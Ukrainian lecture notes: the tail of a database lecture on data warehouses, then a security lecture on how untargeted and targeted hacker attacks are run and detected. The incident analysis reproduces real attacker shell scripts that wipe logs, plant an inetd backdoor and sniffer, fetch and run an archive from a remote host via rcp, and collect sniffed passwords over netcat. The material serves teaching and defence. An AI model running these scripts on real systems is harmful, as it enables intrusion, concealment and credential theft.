14.3. Сховища даних
Як вже неодноразово наголошувалося, технології баз даних призначені, як правило, для вирішення поточних завдань обробки даних організації. До бази даних постійно вносяться зміни, тобто база даних відображає моментальний знімок певної області діяльності підприємства. Для ефективного ухвалення рішень керівництвом при управлінні організацією важливо не лише знати поточний стан справ, але і мати можливість аналізувати динаміку (зміна в часі) основних показників, причому, частенько з різних баз даних. Таку можливість дає технологія так званих сховищ даних.
Наведемо визначення сховища даних (Bill Inmon).
Сховище даних – предметно-орієнтований, інтегрований, прив'язаний до часу і незмінний набір даних, призначений для підтримки ухвалення рішень.
Під предметною орієнтованістю тут розуміється орієнтованість на предмети (певні групи даних), а не на конкретні додатки. Наприклад, орієнтація на дані про співробітників, а не лише про розрахунок їх заробітної плати.
Під інтегрованістю тут розуміється можливе об'єднання даних з різних джерел (баз даних), що мають різний формат і неузгоджені.
Прив'язка до часу передбачає, що для всіх даних вказаний момент або проміжок часу, в який вони коректні.
Дані у сховищі не змінюються, вони лише регулярно поповнюються з оперативних баз даних.
Загальна схема взаємодії інформаційного сховища і баз даних наводиться на мал. 14.5.
Мал. 14.5. Схема організації роботи сховища даних
Ще раз підкреслимо, що основною метою сховищ даних є бізнес-аналіз або інформаційна підтримка ухвалення управлінських рішень.
Для реалізації всієї необхідної обробки інформації відповідно до цієї схеми необхідні наступні програмні засоби:
засоби витягання даних з баз даних;
засоби управління даними сховища (система управління базою даних сховища);
засоби аналізу даних сховища (використовується OLAP‑технологія):
засоби доставки даних;
засоби візуалізації результатів обробки для кінцевих користувачів.
Для роботи відповідних програмних засобів необхідний опис структури вмісту інформаційного сховища (метаопис).
Для найзагальнішого випадку, якщо дані беруться з баз даних, керованих різними СУБД, з файлів різних типів, а дані різнорідні, засоби управління даними сховища доки не створені. Проте, якщо дані в інформаційне сховище вибираються лише з реляційних баз даних, то як засоби управління даними сховища може бути взята потужна реляційна СУБД. Тому розробники сучасних СУБД включають до складу програмного забезпечення СУБД засоби організації роботи зі сховищами даних.
Розглянемо як приклад можливості СУБД Microsoft SQL Server 2008 для організації сховищ даних.
Microsoft SQL Server 2008 містить у своєму складі засоби витягання, перетворення і завантаження даних (SQL Server 2008 Integration Services), здатні інтегрувати дані з різних джерел, перевіряти дані на допустимість і перетворювати перед завантаженням у сховище. Ці засоби також сприяють переміщенню даних, підтримують текстовий аналіз і нечіткий пошук. Потрібно відзначити також середовище візуальної розробки (Business Intelligence Development Studio) для створення багатовимірних кубів, звітів, пакетів витягування, перетворення і завантаження даних.
Істотною особливістю сховищ даних є їх дуже великий об'єм. Microsoft SQL Server 2008 як засіб управління даними сховища дозволяє працювати з великими об'ємами даних, причому для скорочення часу обробки передбачена підтримка паралельних обчислень (шляхом розділення таблиць і індексів на секції о забезпечення паралельної обробки секцій). У системі передбачена можливість стискування даних (таблиць), що дозволяє зменшити фізичний розмір таблиць і істотно скорочує час обміну між оперативною і зовнішньою пам'яттю.
Як засоби аналізу даних сховища використовується SQL Server 2008 Analysis Services, вживаний для побудови багатовимірних кубів (багатовимірних моделей даних). Цей засіб містить сім ефективних алгоритмів аналізу даних з метою підтримки ухвалення управлінських рішень, у тому числі аналіз тенденцій і статистичний аналіз даних.
Як засоби представлення аналітичних даних користувачам пропонується використовувати засіб генерації звітів SQL Server 2008 Reporting Services.
Таким чином, Microsoft SQL Server 2008 є ефективним засобом реалізації сховищ даних на основі реляційних баз даних.
Короткі підсумки: У лекції розглянуті перспективні напрями в теорії і практиці створення баз даних – об'єктно-орієнтовані і розподілені бази даних. Тут описуються основні ідеї об'єктно-орієнтованого програмування (об'єкт, клас, методи класу, спадкоємство) і їх додаток до теорії баз даних. Відмічені основні переваги і недоліки об'єктно-орієнтованих баз даних.
Розглядається поняття розподілених бази даних як наступний крок в розвитку понять про дані. Відмічені основні достоїнства розподілених баз даних і проблеми, що виникають при їх розробці.
Розглядається поняття сховища даних, як приклад системи управління даними сховища наводиться СУБД Microsoft SQL Server 2008.
Лекція 5
Виявлення методів атак
Розглянуті
види шкідливого ПЗ, а також способи
виявлення хакерських атак різних типів.
Виявлення методів ненаправлених хакреських атак
Хакери, що використовують методи ненаправлених атак, не шукають певну інформацію або організацію: їм для злому підходить будь-яка система. Їх рівень кваліфікації коливається від дуже низького до найвищого, а як мотив виступає, перш за все, бажання привернути до себе увагу зломом якої-небудь системи. Ймовірно, присутнє і жадання наживи, але що вони намагаються придбати таким чином – залишається загадкою.
Об'єкти атак
Хакери, що використовують методи ненаправлених атак, відшуковують будь-яку систему, яку вийде знайти. Зазвичай у них немає конкретної мети. Інколи для пошуку вибирається мережа або доменне ім'я, але цей вибір, як правило, випадковий. Об'єктом атаки може стати будь-яка організація, до безпровідної мережі якої зміг підключитися хакер.
Попереднє дослідження
Хакер по-різному проводить попереднє дослідження. Деякі починають атаку відразу ж, без всякої "розвідки" і точного визначення цілі, якщо знаходять систему, підключену до мережі. Після проведення попереднього зондування атака зазвичай виконується із зламаних систем, аби хакер міг "замести сліди".
Попереднє дослідження через Інтернет
Найчастіше хакери виконують приховане сканування діапазону адрес, назване половинним IP-скануванням. З його допомогою виявляються системи, що знаходяться в даному діапазоні, і служби, доступні в цих системах. При прихованому скануванні виконується також розгорнута відправка пінг-запитів в цьому діапазоні адрес, тобто відправка пинг-запиту за кожною адресою і перегляд отриманих відповідей.
При виконанні прихованого сканування хакер зазвичай відправляє TCP SYN-пакет за IP-адресою і чекає TCP SYN АСК-відповідь. При здобутті відповіді він посилає TCP RST-пакет для скидання з'єднання перш, ніж воно закриється (мал. 3.8). У багатьох випадках це дозволяє приховати спроби проникнення від служби реєстрації подій цільової системи.
Мал. 5.1. Приховане сканування
Різновидом прихованого сканування є сканування із скиданням з'єднання (reset scan), при якому хакер посилає TCP RST-пакет за IP-адресою. Зазвичай цей пакет не викликає жодних дій на системі-одержувачі, і на нього не приходить відповідь. Проте якщо вказана система не існує, то маршрутизатор мережі, якій належить адреса одержувача, відповість ICMP-повідомленням: "Хост недоступний" (мал. 3.9). Є інші способи сканування, що дають схожий результат. Слід зауважити, що сканування із скиданням з'єднання виявляє системи, що знаходяться в мережі, але не дозволяє визначити виконувані на них служби, як це робить приховане сканування.
Мал. 5.2. Сканування із скиданням з'єднання
Примітка
Існують способи прихованого сканування, що дозволяють визначити відкриті порти. Зазвичай вони виконуються за допомогою передачі трафіку до певних портів. Якщо порт закритий, він відповість RST-пакетом, інакше відповіді отримано не буде.
Інколи хакер виконує попереднє дослідження у декілька етапів. Спочатку він вибирає ім'я домену (зазвичай довільно) і починає зонну передачу DNS, направлену до цей домен. Зонна передача реєструє всі системи і IP-адреси домену, відомі DNS. Отримавши цей список, хакер запускає інструментальні засоби типу Queso або Nmap для визначення операційної системи потенційного об'єкту атаки. Приховане сканування виявить служби, що виконуються в системі, і ці дані використовуються для реальних атак.
Попереднє дослідження по телефону
Попереднє дослідження не обмежується збором інтернет-адрес. Wardialing ("розвідка по телефону") – ще один метод, використовуваний хакерами для виявлення потенційних жертв і визначення систем, що мають модем і що відповідають на вхідні дзвінки. За допомогою комп'ютера хакер протягом однієї ночі виконує дозвон по тисячах телефонних номерів, знайдених в модемній лінії. Сучасні програмні засоби здатні розрізнити модем і факс. Після виявлення модемів, що відповіли, хакер звертається до кожного з них, визначаючи працюючі програми. За допомогою програми РС Anywhere (вельми привабливою для зловмисників) хакер захоплює управління комп'ютером, що відповів.
Попереднє дослідження через безпровідні мережі
Швидке поширення безпровідних мереж в організаціях і у домашніх користувачів також дозволяє виробити хакерську "розвідку". Новий термін "wardriving" ("розвідка на автомобілі") означає, що хакер роз'їжджає по місту з комп'ютером і адаптером безпровідної мережі, виявляючи точки входу безпровідних мереж. При цьому використовується пристрій типа GPS (Global Positioning System – глобальна система навігації і визначення положення) для запису координат таких точок. Інколи подібна розвідка виконується разом з "warchalking". Хакер орієнтується по крейдяних відмітках на тротуарах або стінах будівель, що показують, що в цьому місці знаходиться відкрита безпровідна мережа.
Після виявлення безпровідної мережі хакер скористається виходом в Інтернет для атаки інших сайтів. Такий спосіб атаки відмінно маскує хакера, адже помилковий слід веде до безпровідної мережі організації. Навіть в разі виявлення присутності хакера з'ясувати його реальне місце розташування дуже важко.
Методи атак
У загальному випадку хакер, що використовує методи ненаправлених атак, має у своєму розпорядженні один або декілька (не дуже багато) експлойтів. За допомогою попередньої розвідки він постарається знайти системи, уразливі до цих експлойтів. Більшість хакерів, відшукавши систему, спробують зламати її "в один прийом". Більш просунуті зломщики за допомогою спеціальних засобів сканування знаходять декілька уразливих систем, а потім створюють сценарії атаки, направленої проти всіх систем одночасно.
Використання зламаних систем
Після злому системи хакер зазвичай поміщає в неї "чорний хід", через який він входитиме в систему надалі. Часто "чорні ходи" використовуються разом з інструментом rootkit, що включає версію системи з кодом "троянського коня", який дозволяє приховати присутність хакера. Деякі хакери закривають вразливе місце, через яке вони проникли всередину, аби ніхто більше не міг управляти "їх системою". Хакери копіюють файли з паролями інших систем, аби попрацювати на дозвіллі над їх розтином, завантажують программу-снифер для захвату паролів. Після злому система використовується для атаки або для попереднього зондування.
Як приклад розглянемо реальну ситуацію. В кінці червня 1999 р. багато систем піддалися атаці через Інтернет і були успішно зламані. Напад виглядав автоматизованим, оскільки злом систем стався протягом короткого проміжку часу. Дослідження і аналіз систем показали, що хакер застосував для проникнення засіб RPC Tooltalk, що викликає переповнювання буфера. Після входу в систему хакер запускав сценарій, який виконував наступні дії:
закривав вразливе місце, через яке хакер проник в систему;
завантажував "чорний хід" у файл inetd, аби хакер міг повертатися в систему;
запускав в системі снифер паролів.
В процесі роботи група дослідників отримала сценарії, які виглядали так, ніби відправлені від системи хакера. Але насправді вони працювали на зламаній системі, даючи хакерові можливість автоматизованого повернення в кожну розкриту систему і витягання файлів журналу снифера. Ці файли включали ідентифікатори користувачів і їх паролі для кожної системи в локальній мережі. У наступному розділі приведений вміст цих сценаріїв, аби ви могли зрозуміти, як хакер побудував свою "імперію".
Примітка
Такий тип сценаріїв зустрічається все частіше і частіше. Крім того, поява черв'яків, що діють аналогічним чином і що повертають звіт своєму розробникові, показує, що ця атака не була унікальною.
Реальні сценарії атак
Сценарії, про які розповідалося вище, ми виявили в зламаних системах. Вони показують механізми використання хакерами великої кількості зламаних систем для збору паролів.
Почнемо дослідження методів вторгнення з системи-жертви. Дана система була зламана за допомогою переповнювання буфера за допомогою програми RPC Tooltalk для ОС Solaris. Був знайдений сценарій під назвою bd, який завантажувався в систему.
unset HISTFILE; unset SAVEHIST
Хакер відключає файл журналу, аби його дії не фіксувалися.
cp doc /usr/sbin/inetd;
chown root /usr/sbin/inetd;
chgrp root /usr/sbin/inetd;
touch 0716000097 /usr/sbin/inetd;
Хакер копіює файл doc поверх існуючого inetd, змінює власника, групу і мітку часу файлу відповідно до оригінала.
rm -rf doc /tmp/bob /var/adm/messages
/usr/lib/nfs/statd/usr/openwin/bin
/rpc.ttdb* /usr/dt/bin/rpc.ttdb*
Хакер видаляє файл doc, що витягує з neet.tar, /tmp/bob (див. далі в розділі), повідомлення (для видалення інформації про атаку), файли statd і rpc.ttdb (програму Tooltalk). Цікаво, що хакер видалив також і метод, що використався для діставання доступу до системи.
rm -rf /var/log/messages /var/adm
/sec* /var/adm/mail*
/var/log/mail* /var/adm/sec*
Хакер видаляє додаткові файли журналів для приховання своїх дій.
/usr/sbin/inetd -s;
/usr/sbin/inetd -s;
telnet localhost;
/usr/sbin/inetd -s;
Хакер запускає дві копії inetd. Потім за допомогою telnet він підключається до локального хосту і запускає третю копію inetd.
ps -ef | grep inetd | grep bob | awk '{print "kill -9 " $2 }' > boo
chmod 700 boo
./boo
Хакер визначає місце розташування первинної версії inetd, відшукуючи inetd і bob в таблиці процесів. Потім він створює файл boo, що містить рядок "kill -9 {inetd process id}", змінює дозволи файлу так, що він стає виконуваним, і запускає його. Потім видаляє вихідний процес inetd.
ps -ef | grep nfs | grep statd | awk '{print "kill -9 " $2 }' > boo
chmod 700 boo
./boo
ps -ef | grep ttdb | grep -v grep | awk '{print "kill -9 " $2 }' > boo
chmod 700 boo
./boo
rm -rf boo
Потім він визначає місце розташування процесів statd і ttdb і видаляє їх так само.
mkdir /usr/man/tmp
mv update ps /usr/man/tmp
cd /usr/man/tmp
echo 1 \"./update -s -o output\" > /kernel/pssys
chmod 755 ps update
./update -s -o output &
Хакер створює директорію в /usr/man і поміщає туди снифер і файл ps. Він створює сценарій, активізуючий снифер при перезавантаженні системи, і запускає снифер.
cp ps /usr/ucb/ps
mv ps /usr/bin/ps
touch 0716000097 /usr/bin/ps /usr/ucb/ps
Хакер замінює вихідний файл ps новим і змінює його мітку часу відповідно до оригінала.
cd /
ps -ef | grep bob | grep -v grep
ps -ef | grep stat | grep -v grep
ps -ef | grep update
Далі хакер перевіряє, що все працює як порібно. Величезний інтерес для нас представляє сценарій bd. Він показує зміни в системі і дає підказку про те, як хакер увійшов до системи. Ключовий момент тут – посилання на /tmp/bob. При аналізі причин видалення хакером вихідного процесу inetd ми передбачили, що цей процес виконувався разом з файлом конфігурації /tmp/bob (inetd можна викликати для роботи з файлом конфігурації, введеним в командному рядку). Невідомо, що було в цьому файлі, але, ймовірно, початковий експлойт Tooltalk дозволяв перезавантажувати inetd з новим файлом конфігурації.
Іншим цікавим моментом сценарію є знищення хакером процесів, за допомогою яких він проник в систему. Напевно, він не хотів, аби інші атакували його "володіння". Головною помилкою сценарію був запуск трьох процесів inetd. Сталося наступне: множинні процеси inetd сталі видно, і в теці /var/log/messages з'явилися повідомлення про те, що другий і третій процеси inetd не можуть зв'язатися з telnet і FTP-портами.
Зламавши системи спочатку за допомогою експлойту, хакер потім використовував сценарії для завантаження кожної системи з снифером і "чорним ходом". Він створив три сценарії. Перший сценарій називався massbd.sh.
#!/bin/sh
for i in 'cat $1'; do (./bd.sh $i &);done
Цей сценарій використовував файл введення (ймовірно, список IP-адрес) і виконував сценарій bd.sh (що відрізняється від сценарію bd, розглянутого вище), направлений до кожної адреси.
У сценарії bd.sh містяться всього два рядки:
#!/bin/sh
./bdpipe.sh | telnet $1 1524
Цей сценарій дає хакерові коштовну інформацію про те, що робить в системі спочатку запущений експлойт переповнювання буфера. Даний сценарій бере аргументи з командного рядка і передає команди від третього сценарію bdpipe.sh через telnet. Звернете увагу на порт призначення – 1524.
Третій сценарій називається bdpipe.sh. Він містить набір команд, що передаються через telnet і виконуються на цільовій системі.
#!/bin/sh
echo "cd /tmp;"
echo "rcp demos@xxx.yyy.zzz.aaa:neet.tar ./;"
sleep 2
echo "tar -xvf neet.tar;"
sleep 1
echo "./bd;"
sleep 10
echo "rm -rf neet.tar bd update*;"
sleep 10
echo "exit;"
Скрипт bdpipe.sh виконує віддалене копіювання файлу neet.tar від іншої системи, відкриває файл і виконує сценарій bd, знайдений нами на комп'ютері-жертві. Цей сценарій видаляє neet.tar, bd і оновлює /tmp. Такий підхід спрацював не на всіх системах, що дозволило знайти файл neet.tar і проглянути його вміст.
Можна передбачити, що хакер планував швидко зламати велику кількість систем. Хоча сценарії нескладні, багато роботи пішло на побудову всіх елементів атаки, аби добитися ширини її розмаху.
Із зібраної інформації видно, що хакер не став завантажувати снифер у всі системи-жертви. Були знайдені сценарії, призначені для витягування зібраних паролів. Перший сценарій називався mget.sh.
for i in 'cat $1' ; do (./sniff.sh $i &) ; done
Цей сценарій використовував список IP-адресів для виклику sniff.sh. Сценарій sniff.sh містить всього два рядки:
#!/bin/sh
./getsniff.sh | ./nc -p 53982 $1 23 >> $1.log
Сценарій sniff.sh використовував IP-адреси для установки з'єднання з цільовою системою через порт 23 (telnet) від спеціального порту відправника (53982). Програма nc (названа також netcat) дозволяє встановлювати з'єднання від будь-якого порту до будь-якого порту. Знахідка цього сценарію підказала, що "чорний хід" знаходився в зміненому файлі inetd. При установці з'єднання telnet від порту 53982 змінений inetd міг відшуковувати паролі і, в разі успіху, запускати інтерпретатор команд.
Третій сценарій називався getshniff.sh. Він передавався через з'єднання nc і виконувався на цільовій системі.
#!/bin/sh
sleep 2
echo "oir##t"
sleep 1
echo "cd /usr"
sleep 1
echo "cd man"
echo "cd tmp"
sleep 2
echo "cat output*"
sleep 1
echo "exit"
Сценарій getshniff.sh. дав нам пароль, який використовувався разом із зміненим inetd (oir##t). Він вводив дані в nc для закриття з'єднання з цільовою системою і отримував вихідний файл з сниферу.
Всі ці сценарії наочно показують, чим займався хакер у системі. Після злому системи він міг віддалено отримувати журнали сниферу і, отже, проникати в системи, на які не попав під час першої атаки. Автоматизація процесу злому і витягування паролів давала можливість швидкого доступу до великої кількості систем і розширення успіху за допомогою здобуття і збереження додаткових паролів.
Виявлення методів направлених хакерських атак
Хакер, що використовує методи направлених атак, намагається проникнути в конкретну організацію або завдати їй збитку. Мотивацією його дій є прагнення отримати від організації інформацію певного типу. Він прагне заподіяти шкоду декількома способами, використовуючи для цього направлені DoS-атаки. Рівень майстерності таких хакерів вищий, ніж у тих зловмисників, які не мають певної мети.
Об'єкти атак
Вибір об'єкту атаки зазвичай обґрунтований – це інформація, що представляє інтерес для хакера. Хакера може найняти стороння організація для отримання деяких відомостей. Незалежно від причини, об'єктом атаки стає конкретна організація (не обов'язково її внутрішня система).
Попереднє дослідження
У направлених хакерських атаках виконується фізична розвідка, а також попереднє дослідження адрес, телефонних номерів, системи, сфери діяльності.
Попереднє дослідження адрес
В процесі попереднього дослідження з’ясовується адресний простір, використовуваний в організації. Цю інформацію можна знайти в багатьох місцях. В першу чергу, служба DNS дозволяє визначити адреси веб-серверів організації: адресу головного DNS-серверу в домені і адресу поштового сервера. Відшукати потрібні адреси можна за допомогою Американського реєстру номерів Інтернету (American Registry of Internet Numbers, ARIN) (http://www.arin.net/ ). У ARIN можливий пошук по імені для знаходження адресних блоків, призначених даній організації.
Додаткові доменні імена, призначені організації, є в Network Solutions (тепер частина VeriSign) (http://www.networksolutions.com/ ). Для кожного знайденого домену за допомогою служби DNS визначаються додатковий веб-сервер, поштовий сервер і діапазон адрес. Пошук цієї інформації не залучає уваги цільової системи.
Багато інформації про використовувані адреси дасть зонна передача від головного DNS-серверу домену. Якщо сервер дозволяє здійснювати таку передачу, то в результаті можливе здобуття списку всіх відомих йому систем домену. Це вельми коштовна інформація, але такий підхід може звернути на себе увагу цільової системи. Правильно налагоджені DNS-сервери обмежують зонну передачу. В цьому випадку спроба здобуття інформації заноситься в журнал подій і виявляється адміністратором
Використовуючи всі вищеперелічені способи, хакер отримує список доменів, призначених організації, адреси всіх веб-серверів, поштових серверів і головних серверів, список діапазонів адрес і, потенційно, список всіх використовуваних адрес. Велику частину цієї інформації він знайде, не вступаючи в безпосередній контакт з організацією-жертвою.
Попереднє дослідження телефонних номерів
Попереднє дослідження телефонних номерів виконати складніше, ніж відшукати мережеві адреси. Взнати головний номер організації можна в довідковій службі або на веб-сайті, оскільки організації публікують там свої контактні телефони і номери факсів.
Після здобуття телефонних номерів хакер шукає працюючі модеми, скориставшись програмою типа "wardialer". Приблизно визначивши блок телефонних номерів, використовуваних організацією, він починає дозвон цих номерів. Проте така діяльність не залишиться непоміченою, оскільки будуть прозвонюватися багато офісних номерів. Тому хакер постарається виконати це в неробочий час або у вихідні дні, аби зменшити вірогідність виявлення.
Ускладнює роботу та обставина, що він не знає номера напевно. В результаті у нього на руках можуть виявитися модемні з’єднання інших організацій, які в даний момент йому не дуже-то потрібні.
Врешті-решт, хакер отримає список номерів з відповідаючим модемом. Можливо, він згодиться йому, а можливо й ні. Хакерові належить виконати велику роботу для збору необхідної інформації.
Попереднє дослідження безпровідних мереж
Хакер перевірить навколишній район (автомобільні стоянки, інші поверхи будівлі, вулицю) на предмет наявності безпровідних мереж. Цю розвідку він виконає без особливих зусиль, прогулюючись довкола будівлі або проїжджаючи на автомобілі. В більшості випадків його спроби підключення до безпровідної мережі не будуть зареєстровані.
Примітка
Виконуючи таке дослідження, хакер повинен фізично знаходитися поряд з цільовим об'єктом.
Попереднє дослідження системи
Попереднє дослідження систем представляє потенційну небезпеку для хакера, але не з точки зору затримання і арешту, а з точки зору привернення уваги. У процесі збору даних хакер визначає використовуване устаткування, операційні системи і їх вразливі місця.
Хакер застосовує розгорнуту відправку пінг-пакетів, приховане сканування або сканування портів. Якщо він хоче залишитися "в тіні", то виконуватиме все дуже повільно – один пінг-пакет за однією адресою приблизно кожна година Така діяльність залишиться непоміченою для більшості адміністраторів.
Сканування для визначення операційних систем приховати важче, оскільки сигнатури пакетів більшості інструментальних засобів добре відомі, і системи виявлення вторгнень (Intrusion Detection Systems, IDS) з великою мірою вірогідності виявлять ці спроби. Хакер може відмовитися від використання відомих інструментів і застосує приховане сканування портів. Якщо система відповідає через порт 139 (NETBIOS RPC), то це, ймовірно, Windows (NT, 2000, XP, 95 або 98), якщо через порт 111 (Sun RPC/portmapper) – то це система Unix. Поштові системи і веб-сервери виявляються через підключення до певних портів (25 – для пошти, 80 – для веб-серверу) і дослідження відповіді. В більшості випадків можна взнати тип використовуваного програмного забезпечення і, отже, операційну систему. Такі підключення виглядають сповна легальними, не привертаючи уваги адміністраторів або систем IDS.
Виявлення вразливих місць представляє для хакера серйозну небезпеку. Це можна зробити, здійснюючи атаки або досліджуючи систему на наявність уразливості. Одним із способів є перевірка номера версії популярного програмного забезпечення, наприклад, поштового серверу або DNS-серверу, яка й підкаже відомі вразливі місця.
Якщо хакер скористається сканером вразливих місць, то він з великою часткою вірогідності викличе сигнал тривоги в системі виявлення вторгнень. Один сканер допоможе хакерові відшукати єдину "діру", інший виявить більшу кількість вразливих місць. Незалежно від використовуваного інструменту, хакер збере потрібну інформацію, але, швидше за все, його присутність буде помічена.
Попереднє дослідження сфери діяльності
Розуміння сфери діяльності організації є дуже важливе для хакера. Він повинен знати, як використовуються комп'ютерні системи, де розміщена коштовна інформація і апаратура. Ці знання допоможуть йому визначити місце розташування вірогідної мети. Наприклад, якщо сайт електронної комерції замість обробки транзакцій власників кредитних карт відправляє покупців на сайт банку, це означає, що на цільовій системі не зберігаються номери кредитних карт.
При проведенні попереднього дослідження хакер постарається з'ясувати, яким способом можна максимально нашкодити системі. Виробникові, на єдиному ЕОМ якого зберігаються всі виробничі плани і матеріальні замовлення, можна завдати серйозного збитку виведенням цього ЕОМ з ладу. Саме цей ЕОМ стане головною метою для хакера, що бажає максимально нашкодити цьому виробникові.
Частиною бізнес-моделі будь-якої організації є розміщення службовців і порядок здійснення ними своїх функцій. Організації, розташовані в одному приміщенні, здатні забезпечити периметр безпеки довкола всіх важливих систем. В організаціях з безліччю підрозділів, зв'язаних через Інтернет або виділені канали, може бути надійно захищена основна мережа, але слабо – віддалені офіси. Уразливими стають організації, що дозволяють службовцям виконувати віддалене підключення. У цьому випадку домашні комп'ютери співробітників використовують віртуальні приватні мережі для підключення до внутрішньої мережі організації. Найпростішим способом забезпечення доступу в організацію в цьому випадку стане зламання однієї з домашніх систем.
І останнім етапом розвідки є збір інформації про службовців. Багато організацій розміщують інформацію про керівників на своєму веб-сайті. Така інформація представляє велику цінність, якщо хакер задумає скористатися методами соціального інжинірингу. Додаткову інформацію дасть пошук в Інтернеті по імені домену організації. В такий спосіб можна отримати адреси електронної пошти службовців, новин, що розміщують в Інтернеті групи, або список поштових адрес. Частенько в адресах електронної пошти співробітників містяться ідентифікатори користувачів.
Фізичні методи збору даних
Фізичні методи збору даних в основному використовуються в направлених хакерських атаках. Частенько вони дозволяють дістати доступ до потрібної інформації або комп'ютера без реального злому системи комп'ютерної безпеки організації.
Хакер веде спостереження за будівлею, в якій розміщується організація. Він вивчає компоненти фізичної безпеки: пристрої контролю доступу, камери спостереження і службу охорони. Він спостерігає за тим, як входять відвідувачі, як виходять службовці під час перерви. Таке спостереження дозволяє виявити слабкі сторони системи фізичної безпеки, які можна використовувати для проникнення в будівлю.
Хакер прослідить і за тим, як поводяться із сміттям і викинутими документами. Якщо все це складається в сміттєвий бак позаду будівлі, то він може вночі поритися в нім і знайти інформацію, що цікавить.
Методи атак
Маючи на руках всю необхідну інформацію про об'єкт атаки, хакер вибере найбільш відповідний спосіб з мінімальним ризиком виявлення. Запам'ятаєте, що хакер, що здійснює направлену атаку, зацікавлений залишитися в тіні. Він навряд чи вибере метод атаки, який включить систему тривоги. Матимемо це на увазі при вивченні електронних і фізичних методів атак.
Електронні методи атак
Хакер провів успішну розвідку і виявив всі зовнішні системи і всі підключення до внутрішніх систем. Під час збору даних про організацію він визначив вразливі місця систем. Вибір будь-який з них небезпечний, оскільки об'єкт атаки може мати системи виявлення вторгнення. Використання відомих методів атак приведе в дію таку систему і викличе відповідні дії.
Хакер спробує приховати атаку від IDS, розбиваючи її на декілька пакетів. Але він ніколи не буде упевнений, що атака пройшла непоміченою. Тому в разі успішного завершення атаки він зробить так, щоб стан системи виглядав як завжди. Хакер не стане видаляти файли журналів подій, оскільки це відразу приверне увагу адміністратора. Замість цього він знищить записи в журналі, що видають його присутність. Увійшовши до системи, хакер встановить "чорний хід" для подальших проникнень в систему.
Якщо хакер вирішить атакувати за допомогою дозвонювання по телефону, він пошукає віддалений доступ з легко вгадуваним паролем або зовсім без пароля. Його першочерговими цілями стануть системи з віддаленим управлінням або системи адміністратора. Він атакує їх в неробочий час, аби запобігти виявленню атаки службовцями.
Якщо хакер знайшов уразливу домашню систему службовця, він атакуватиме її безпосередньо або відправить туди вірус або "троянського коня". Подібна програма потрапляє на комп'ютер у вигляді вкладення в повідомлення електронної пошти, яке самостійно виконується і інсталюється при відкритті вкладення. Такі програми особливо ефективні, якщо комп'ютер працює під управлінням системи Windows.
При виявленні безпровідних мереж хакер отримує спосіб легкого доступу. Нерідко безпровідні мережі є частиною внутрішньої мережі організації і мають менше встановлених і працюючих пристроїв безпеки (тип систем IDS).
Фізичні методи атак
Найпростішим фізичним методом атак є дослідження вмісту сміттєвого бака в нічний час. У ньому можна знайти всю необхідну інформацію. Якщо такій інформації не виявиться, то деякі відомості згодяться для атак соціального інжинірингу.
Соціальний інжиніринг – найбезпечніший метод фізичної атаки, за допомогою якого можна проникнути в систему. Ключовий момент такої атаки – маленька брехня. Наприклад, хакер подзвонить секретареві в приймальню і взнає номер служби підтримки. Потім він зв'яжеться з віддаленим офісом і під виглядом секретаря довідається про якого-небудь службовця. Наступний дзвінок – в службу підтримки – він зробить від його імені: попросить номер телефону для локального дозвону або скаже, що забув пароль. Здобута інформація дозволить хакерові увійти до системи з легальним ID і паролем користувача.
Найнебезпечнішим типом фізичної атаки є реальне проникнення в організацію. У цій лекції ми не описуватимемо злом приміщення, хоча серйозний хакер відважитися і на це. Виявившись усередині, він підключить свій переносний комп'ютер до мережі. У багатьох компаніях недостатньо контролюються внутрішні мережеві підключення, тому у розпорядженні зловмисника виявиться вся мережа. Якщо службовці не навчені доповідати про сторонніх в офісі, у хакера буде маса часу для пошуку потрібної інформації.
Використання зламаної системи
Хакер використовуватиме зламану систему в своїх цілях, прагнучи приховати сліди своєї присутності настільки ретельно, наскільки можливо. Такі хакери не хваляться своїми перемогами. Зламана система стане для нього стартовим майданчиком для проникнення в більш засекречені внутрішні системи. Всі дії виконуватимуться максимально скрито, аби не залучити уваги адміністраторів.
Проведіть попереднє дослідження своєї організації
Даний проект показує, як хакер перевірятиме вашу організацію на наявність вразливих місць. Передбачається, що ви завантажили і встановили програми nmap (http://www.insecure.org/ ) і Nessus (http://www.nessus.org/ ).
Крок за кроком
Визначите IP-адресу веб-сервера своєї організації. Введіть в командному рядку nslookup <имя_веб-серверу>. Повернуте значення і буде IP-адресою вашого веб-серверу.
Визначите IP-адресу свого поштового сервера. У командному рядку введіть nslookup. Після запуску програми введіть set type=mx і натискуйте ENTER. Потім введіть <ім'я вашого домену> і натискуйте ENTER. Програма поверне список основних і додаткових поштових серверів.
Перейдіть за допомогою веб-браузера за адресою http://www.arin.net/ і в рядку пошуку введіть адреси. Повернеться інформація про того, хто володіє блоком адрес. Тепер ви маєте непогане уявлення про блоки адрес, призначених вашій організації, а за наявності хостингу – і адресі головного веб-сайту.
Введіть у рядку пошуку ім'я своєї організації і отримаєте список всіх призначених нею IP-адрес.
Перейдіть за допомогою веб-браузера за адресою http://www.networksolutions.com/ і введіть в рядку пошуку ім'я свого домену. Ви отримаєте інформацію про розміщення своєї організації за допомогою видачі списку з'єднань. Тепер ви знаєте основні DNS-сервери, обслуговуючі ваш домен.
За наявності програми nmap скористайтеся нею для розгорнутої відправки пінг-пакетів або для прихованого сканування адресного простору, виявленого на попередніх кроках. Ви дізнаєтеся про те, які хости зараз знаходяться в режимі онлайн. Пам'ятаєте про те, що за наявності міжмережевого екрану сканування портів займе деякий час.
За наявності програми Nessus скористайтеся нею для сканування вразливих місць виявлених хостів. Попередьте мережевих адміністраторів і службу безпеки перед початком своїх дій, аби не створювати інцидентів безпеки.
Виводи
Даний проект дозволяє отримати базову інформацію про простір IP-адресів організації і її системи. Кроки з 1 по 5 не вимагають підключення до систем організації. В результаті їх виконання і збирається основна інформація про організацію і використовуваний адресний простір.
Кроки 6 і 7 повинні виконуватися з дозволу мережевих адміністраторів і адміністраторів служби безпеки, оскільки можуть викликати сигнал тривоги в системах виявлення вторгнень. Після закінчення роботи ви отримаєте досить повну роздруківку систем і їх вразливих місць.
Контрольні питання
Прикладом якого вразливого місця є в NFS установка дозволів кореневій директорії rw для всіх користувачів?
Коли використовуються нетехнічні засоби для отримання доступу до системи?
Яка частина пам'яті є об'єктом атаки на переповнювання буфера?
Який тип змінних використовується при виконанні атаки на переповнювання буфера?
Яка помилка програмування дозволяє виконати атаку імітації IP-адреси?
Який пакет не вирушає при виконанні синхронної атаки?
Чи існує спосіб захисту від грамотно розробленої DоS-атаки?
Що шукають хакери, що використовують ненаправлені методи атак?
Як хакер використовує систему після злому за допомогою ненаправленої атаки?
Який сайт використовується для збору інформації про IP-адреси?
